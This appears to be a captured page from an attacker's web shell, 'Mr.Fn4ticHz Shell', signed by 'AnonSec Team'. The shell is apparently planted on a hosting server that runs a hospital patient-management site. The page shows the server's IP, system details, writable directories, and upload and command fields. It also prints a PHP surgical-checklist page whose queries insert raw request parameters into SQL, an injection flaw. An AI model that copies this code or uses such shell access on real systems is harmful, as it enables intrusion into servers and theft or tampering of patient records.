Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.15.26.221
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_showpage_Patient_Leaves.php
<?php session_start();
include 'dbconnection.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
include 'dashboarddocument.php';
include 'header.php';
if(isset($_POST['mlc'])) 
{
  	$updated_at=date("F d, Y / h:i:s A");
  	
$sql ="UPDATE Patient_Leaves SET Verbally_Confirmed='$_POST[Verbally_Confirmed]',Procedure_Recorded='$_POST[Procedure_Recorded]',Specimen_Labeled='$_POST[Specimen_Labeled]',infection_present='$_POST[infection_present]',Equipment_Problems='$_POST[Equipment_Problems]',Detail='$_POST[Detail]',Review_Key='$_POST[Review_Key]',Prognosis_Explained='$_POST[Prognosis_Explained]', updated_at='$updated_at' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
if($qsql = mysqli_query($con,$sql))
		{
		      echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
 else {
    echo "Sorry, there was an error uploading your file.";
  } 
}

?>



<style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}


.center {
   border: 1px solid grey;
   text-align:;
}

  
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
  
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

<form name="mlc"  method="post" >
<h3 align='center'>Before Patient Leaves Operating Room</h3> <?php
  	$sql ="SELECT * FROM Patient_Leaves WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND surgeryid='$_GET[surgeryid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo" <table id='example2' class='table table-bordered table-hover'>	";
if($rs[Verbally_Confirmed] == 'on'){
    echo " <tr><td width='50%'>Surgical Assistant Verbally Confirmed With the Team: </td>
<td width='50%'><label class='switch'>   <input name='Verbally_Confirmed' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>";
} else{
    echo "<tr><td width='50%'>Surgical Assistant Verbally Confirmed With the Team: </td>
<td width='50%'><label class='switch'>   <input name='Verbally_Confirmed' type='checkbox'>   <span class='slider'></span> </label></td></tr>";
}
if($rs[Procedure_Recorded] == 'on'){
    echo " <tr><td width='50%'>Name of the Procedure Recorded: </td>
<td width='50%'><label class='switch'>   <input name='Procedure_Recorded' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>";
} else{
    echo "<tr><td width='50%'>Name of the Procedure Recorded: </td>
<td width='50%'><label class='switch'>   <input name='Procedure_Recorded' type='checkbox'>   <span class='slider'></span> </label></td></tr>";
}
if($rs[Specimen_Labeled] == 'on'){
    echo " <tr><td width='50%'>Specimen Labeled (Including Patient Name): </td>
<td width='50%'><label class='switch'>   <input name='Specimen_Labeled' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>";
} else{
    echo "<tr><td width='50%'>Specimen Labeled (Including Patient Name): </td>
<td width='50%'><label class='switch'>   <input name='Specimen_Labeled' type='checkbox'>   <span class='slider'></span> </label></td></tr>";
}
if($rs[infection_present] == 'on'){
    echo " <tr><td width='50%'>Checked whether infection present in or around Surgery: </td>
<td width='50%'><label class='switch'>   <input name='infection_present' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>";
} else{
    echo "<tr><td width='50%'>Checked whether infection present in or around Surgery: </td>
<td width='50%'><label class='switch'>   <input name='infection_present' type='checkbox'>   <span class='slider'></span> </label></td></tr>";
}
if($rs[Equipment_Problems] == 'on'){
    echo " <tr><td width='50%'>Any Equipment Problems to Be Addressed By Surgeon/Anesthetist ?: </td>
<td width='50%'><label class='switch'>   <input name='Equipment_Problems' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>";
} else{
    echo "<tr><td width='50%'>Any Equipment Problems to Be Addressed By Surgeon/Anesthetist ?: </td>
<td width='50%'><label class='switch'>   <input name='Equipment_Problems' type='checkbox'>   <span class='slider'></span> </label></td></tr>";
}


echo" <tr><td width='50%'>Detail:</td><td width='50%'><textarea name='Detail' rows='2' cols='70'>
$rs[Detail]</textarea></td></tr>

<tr><td width='50%'>Review The Key Concerns For Recovery And Management Of The Patient:</td><td width='50%'><textarea name='Review_Key' rows='2' cols='70'>
$rs[Review_Key]</textarea></td></tr>

<tr><td width='50%'>Prognosis Explained to patient Attendant:</td><td width='50%'><textarea name='Prognosis_Explained' rows='2' cols='70'>
$rs[Prognosis_Explained]</textarea></td></tr>

          </table>  
          
       
";

}
?>
	<button type="submit" name="mlc">Update</button>
				 
				 
				 </form>

Anon7 - 2022
AnonSec Team